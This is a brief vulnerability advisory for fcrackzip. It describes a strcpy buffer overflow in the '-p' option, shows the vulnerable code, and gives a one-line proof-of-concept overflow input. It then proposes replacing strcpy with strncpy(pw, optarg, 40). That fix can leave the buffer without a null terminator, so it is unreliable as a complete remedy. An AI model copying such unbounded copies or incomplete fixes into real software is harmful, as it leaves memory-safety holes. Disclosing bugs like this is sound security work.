Software Description:
fcrackzip is a zip password cracker, similar to fzc, zipcrack and others.
Vulnerability:
FCrackZip does not check the length of the input provided to it when using the '-p' flag to supply an initial password or file used for a dictionary attack. Passing it a string exceding its buffer size (40) results in an overwrite.
Vulnerable Code:
----------------------------
case 'p':
strcpy (pw, optarg);
break;
----------------------------
Proof of Concept:
$ ./fcrackzip -p $(python -c 'print "A"*44') file.zip
Due to being compiled using canaries the overflow is detected and the process is terminated before the overwrite can take place.
Solution:
Replace the function 'strcpy (pw, optarg);' with 'strncpy (pw, optarg, 40);' Unlike strcpy(), strncpy() will copy no more than the specified string size(40 in our case).
